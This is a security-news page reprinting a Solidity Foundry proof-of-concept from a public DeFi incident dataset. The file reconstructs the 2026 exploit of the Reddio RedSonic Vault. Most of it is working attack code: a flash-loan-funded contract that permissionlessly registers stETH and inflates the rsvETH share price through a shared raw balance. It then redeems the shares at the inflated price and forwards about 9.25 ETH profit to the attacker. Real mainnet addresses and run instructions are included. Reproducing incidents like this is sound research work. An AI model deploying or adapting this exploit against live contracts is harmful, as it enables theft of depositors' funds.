Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/Reddio_exp.sol

Public reproduction file for dataset entry Reddio.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/Reddio_exp.sol237 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Reddio RedSonic Vault (RSV) — share-price inflation via a permissionless second-asset
8// registration against a shared raw stETH balance — Ethereum. Attacker net gain ~9.25 ETH in a
9// single flash-loan-funded contract-creation tx.
10//
11// Exploit tx : 0xe3cba90e865c6cba950ebce36a52607f51f1fd33cd9fb920c78803f19b57791a (block 25912201)
12// Attacker EOA : 0x70f2333d21Ed7E7D105F6578227A9A747687982C (tx.origin)
13// Victim : 0x4315990D9eeAFFdFAfD49958b4851F203FA1126f (RedSonic Vault, a Diamond/EIP-2535 proxy)
14//
15// The on-chain exploit was a CONTRACT-CREATION tx (to == null): the whole attack ran inside the
16// created contract's constructor, funded by a Balancer flash loan, sending the profit ETH back to
17// the create's msg.sender (the attacker EOA). This PoC reconstructs that same attack as ordinary
18// Solidity that calls the victim's real functions directly (no bytecode replay), driven from a
19// named attack contract whose receiveFlashLoan callback runs the sequence.
20//
21// Protocol / market addresses:
22// RSV diamond : 0x4315990D9eeAFFdFAfD49958b4851F203FA1126f (victim vault, EIP-2535 diamond)
23// stETH (Lido) : 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84 (the asset the attacker registers)
24// WETH : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 (flash-loaned asset)
25// Balancer Vault: 0xBA12222222228d8Ba445958a75a0704d566BF2C8 (WETH flash-loan source)
26// Curve stETH/ETH: 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022 (swaps recovered stETH back to ETH)
27//
28// Root cause (verified against on-chain source of the vault's InvestmentManagerFacet
29// 0x47F018dc00307cd48Fd71d489d92e550646598De and the live exploit trace, NOT a key/signer
30// compromise):
31//
32// 1. Share pricing has no per-share-class accounting of the stETH backing the ETH class.
33// getTotalAssetBalance(asset) sums each provider's leg plus getRemainingBalance(asset), and
34// getRemainingBalance for a non-native asset is simply IERC20(asset).balanceOf(vault) — the
35// vault's RAW token balance. The Lido provider leg for the ETH class likewise reads the
36// vault's raw stETH balance. Nothing tracks how much of that raw stETH belongs to the ETH
37// class. (Both getters are in the verified InvestmentManagerFacet; selectors 0x13ef789e and
38// 0x001bf8f6.)
39//
40// 2. registerErc20(address) on the vault is PERMISSIONLESS. In the exploit trace the attacker
41// contract — not the owner — calls it and it succeeds, adding stETH as a second tracked
42// asset (backing the rsvstETH share class).
43//
44// Because a direct stETH deposit under the rsvstETH registration lands in the SAME raw stETH
45// balance that the ETH class's pricing already reads, one stETH balance backs both share classes
46// at once. Depositing stETH inflates the rsvETH share price without minting any rsvETH, so
47// redeeming previously-acquired rsvETH pays out at the inflated rate.
48//
49// Confirmed flow, from the on-chain trace, reproduced below by real calls:
50// 1. Flash-loan 1,139.6159... WETH from Balancer; unwrap it to ETH.
51// 2. registerErc20(stETH) — permissionless; adds stETH as a second tracked asset.
52// 3. depositEth{value: 1,130.2592... ETH} — acquire ~99% of the rsvETH supply.
53// 4. Lido submit ~9.3566 ETH -> stETH, approve the vault, depositErc20(stETH, ~9.3366) — inflates
54// rsvETH's share price without minting rsvETH (it lands in the same raw stETH balance the ETH
55// class prices off).
56// 5. manualWithdraw(rsvETH, all) — redeem rsvETH at the inflated rate, nets ~1,139.5139 ETH.
57// 6. manualWithdraw(rsvstETH, all) — recover the deposited stETH.
58// 7. Curve exchange(1, 0, ...) — swap the recovered stETH back to ETH.
59// 8. Re-wrap the flash amount and repay Balancer; send the leftover ETH to the attacker EOA.
60//
61// NOTE on function names: the deposit/redeem/register facet (0x92ecC5DEacB14937867686Ca8b85dd8a65b74704,
62// the delegatecall target for depositEth/depositErc20/manualWithdraw/registerErc20/ethVTokenAddress/
63// vTokenFromErc20 in the trace) is NOT verified on Etherscan. Those signatures below are the
64// canonical 4-byte-directory names for the exact selectors observed in the trace (0x439370b1
65// depositEth, 0x6548b40d depositErc20, 0x735fd189 manualWithdraw, 0xa4a3c9ef registerErc20,
66// 0xac749536 ethVTokenAddress, 0x95ce754c vTokenFromErc20); each is confirmed only by selector
67// match against the on-chain calldata, not by verified source. The pricing getters and the market
68// interfaces (Lido, WETH, Curve, Balancer) are from verified source.
69//
70// Run:
71// forge test --contracts src/test/2026-09/Reddio_exp.sol -vvv
73interface IWETH {
74 function deposit() external payable;
75 function withdraw(uint256) external;
76 function transfer(address, uint256) external returns (bool);
77 function balanceOf(address) external view returns (uint256);
80interface ILidoStETH {
81 function submit(address referral) external payable returns (uint256);
82 function approve(address, uint256) external returns (bool);
83 function balanceOf(address) external view returns (uint256);
86interface ICurveStEthPool {
87 // 0: ETH, 1: stETH. exchange(1, 0, dx, min_dy) swaps stETH -> ETH and sends ETH to caller.
88 function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
91interface IBalancerVault {
92 function flashLoan(address recipient, address[] calldata tokens, uint256[] calldata amounts, bytes calldata userData)
93 external;
96// Reddio RedSonic Vault (diamond). Selectors verified against the exploit trace; the facet holding
97// these is unverified on Etherscan, see the NOTE above.
98interface IReddioVault {
99 function registerErc20(address erc20) external; // 0xa4a3c9ef, permissionless
100 function ethVTokenAddress() external view returns (address); // 0xac749536, rsvETH share token
101 function vTokenFromErc20(address erc20) external view returns (address); // 0x95ce754c, rsvstETH share token
102 function depositEth() external payable; // 0x439370b1
103 function depositErc20(address erc20, uint256 amount) external; // 0x6548b40d
104 function manualWithdraw(address vToken, uint256 amount) external; // 0x735fd189, redeem shares
107contract Reddio_exp is Test {
108 address internal constant ATTACKER = 0x70f2333d21Ed7E7D105F6578227A9A747687982C;
109 address internal constant RSV_DIAMOND = 0x4315990D9eeAFFdFAfD49958b4851F203FA1126f;
110 address internal constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
111 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
112 address internal constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
113 address internal constant CURVE_STETH = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
115 ReddioExploit internal exploit;
117 function setUp() public {
118 // block-1: real protocol state immediately before the exploit tx executed.
119 vm.createSelectFork("mainnet", 25912200);
120 exploit = new ReddioExploit(ATTACKER);
122 vm.label(ATTACKER, "Attacker");
123 vm.label(address(exploit), "Exploit");
124 vm.label(RSV_DIAMOND, "RedSonicVault");
125 vm.label(STETH, "stETH");
126 vm.label(WETH, "WETH");
127 vm.label(BALANCER_VAULT, "BalancerVault");
128 vm.label(CURVE_STETH, "CurveStEthPool");
129 }
131 /// forge-config: default.evm_version = "cancun"
132 function testExploit() public {
133 uint256 eoaBefore = ATTACKER.balance;
134 emit log_named_decimal_uint("attacker ETH before", eoaBefore, 18);
136 // The attack runs from the exploit contract; the flash-loan callback executes the full
137 // sequence and the recovered profit ETH is forwarded to the attacker EOA (the owner).
138 vm.prank(ATTACKER, ATTACKER);
139 exploit.attack();
141 uint256 eoaGain = ATTACKER.balance - eoaBefore;
142 emit log_named_decimal_uint("attacker ETH after", ATTACKER.balance, 18);
143 emit log_named_decimal_uint("attacker net gain (ETH)", eoaGain, 18);
145 // Net gain matches the reported ~9.25 ETH. On-chain the EOA also paid gas; in the harness gas
146 // is not charged to the pranked EOA, so the full payout lands here.
147 assertGe(eoaGain, 9 ether, "gain below expected ~9.25 ETH profit");
148 assertApproxEqAbs(eoaGain, 9.25 ether, 0.3 ether, "gain off traced ~9.25 ETH");
149 }
152contract ReddioExploit {
153 address internal constant RSV_DIAMOND = 0x4315990D9eeAFFdFAfD49958b4851F203FA1126f;
154 address internal constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
155 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
156 address internal constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
157 address internal constant CURVE_STETH = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
159 // Attack parameters, taken from the exploit trace. The flash amount is split exactly between
160 // the ETH-class deposit and the Lido submit (1,130.2592... + 9.3566... == 1,139.6159...).
161 uint256 internal constant FLASH_WETH = 1_139_615_952_950_658_009_506; // Balancer WETH flash loan
162 uint256 internal constant DEPOSIT_ETH = 1_130_259_297_504_314_263_299; // depositEth value
163 uint256 internal constant STETH_SUBMIT = 9_356_655_446_343_746_207; // ETH submitted to Lido for stETH
164 uint256 internal constant STETH_DEPOSIT = 9_336_655_446_343_746_204; // stETH deposited to inflate rsvETH price
166 address internal immutable owner;
168 constructor(address owner_) {
169 owner = owner_;
170 }
172 function attack() external {
173 require(msg.sender == owner, "not owner");
175 address[] memory tokens = new address[](1);
176 tokens[0] = WETH;
177 uint256[] memory amounts = new uint256[](1);
178 amounts[0] = FLASH_WETH;
179 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
181 // Forward the recovered profit ETH to the attacker EOA.
182 uint256 profit = address(this).balance;
183 (bool ok,) = owner.call{value: profit}("");
184 require(ok, "profit transfer failed");
185 }
187 function receiveFlashLoan(
188 address[] calldata tokens,
189 uint256[] calldata amounts,
190 uint256[] calldata feeAmounts,
191 bytes calldata
192 ) external {
193 require(msg.sender == BALANCER_VAULT, "not balancer");
194 require(tokens[0] == WETH && amounts[0] == FLASH_WETH, "bad flash");
196 // 1. Unwrap the flash-loaned WETH to ETH.
197 IWETH(WETH).withdraw(FLASH_WETH);
199 // 2. Register stETH as a second tracked asset (permissionless). The share token addresses
200 // are read straight from the vault's real getters.
201 IReddioVault vault = IReddioVault(RSV_DIAMOND);
202 address rsvETH = vault.ethVTokenAddress();
203 if (vault.vTokenFromErc20(STETH) == address(0)) {
204 vault.registerErc20(STETH);
205 }
206 address rsvStETH = vault.vTokenFromErc20(STETH);
207 require(rsvStETH != address(0), "steth not registered");
209 // 3. Acquire ~99% of the rsvETH supply at the pre-inflation price.
210 vault.depositEth{value: DEPOSIT_ETH}();
212 // 4. Mint stETH via Lido, then deposit it under the stETH registration. This lands in the
213 // same raw stETH balance the ETH class prices off, inflating the rsvETH share price
214 // without minting any rsvETH.
215 ILidoStETH(STETH).submit{value: STETH_SUBMIT}(address(0));
216 ILidoStETH(STETH).approve(RSV_DIAMOND, type(uint256).max);
217 vault.depositErc20(STETH, STETH_DEPOSIT);
219 // 5. Redeem all rsvETH at the inflated rate (pays out ETH to this contract).
220 vault.manualWithdraw(rsvETH, IERC20(rsvETH).balanceOf(address(this)));
222 // 6. Redeem all rsvstETH to recover the deposited stETH.
223 vault.manualWithdraw(rsvStETH, IERC20(rsvStETH).balanceOf(address(this)));
225 // 7. Swap the recovered stETH back to ETH on Curve (i=1 stETH -> j=0 ETH).
226 uint256 stEthBal = ILidoStETH(STETH).balanceOf(address(this));
227 ILidoStETH(STETH).approve(CURVE_STETH, stEthBal);
228 ICurveStEthPool(CURVE_STETH).exchange(1, 0, stEthBal, 1);
230 // 8. Re-wrap the flash amount and repay Balancer. Leftover ETH is the profit.
231 uint256 repay = amounts[0] + feeAmounts[0];
232 IWETH(WETH).deposit{value: repay}();
233 require(IWETH(WETH).transfer(BALANCER_VAULT, repay), "repay failed");
234 }
236 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Reddio” (2026-09-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x70f2333d21ed7e7d105f6578227a9a747687982c

  • Victim

    0x4315990d9eeaffdfafd49958b4851f203fa1126f

File record

Name
Reddio
Path
src/test/2026-09/Reddio_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1d95f811ac2da4d8298de0b9f8bf9cb7dfeeb0f1
Language
Solidity
Size
238 lines
Date
2026-09-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/Reddio_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d95f811ac2da4d8298de0b9f8bf9cb7dfeeb0f1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.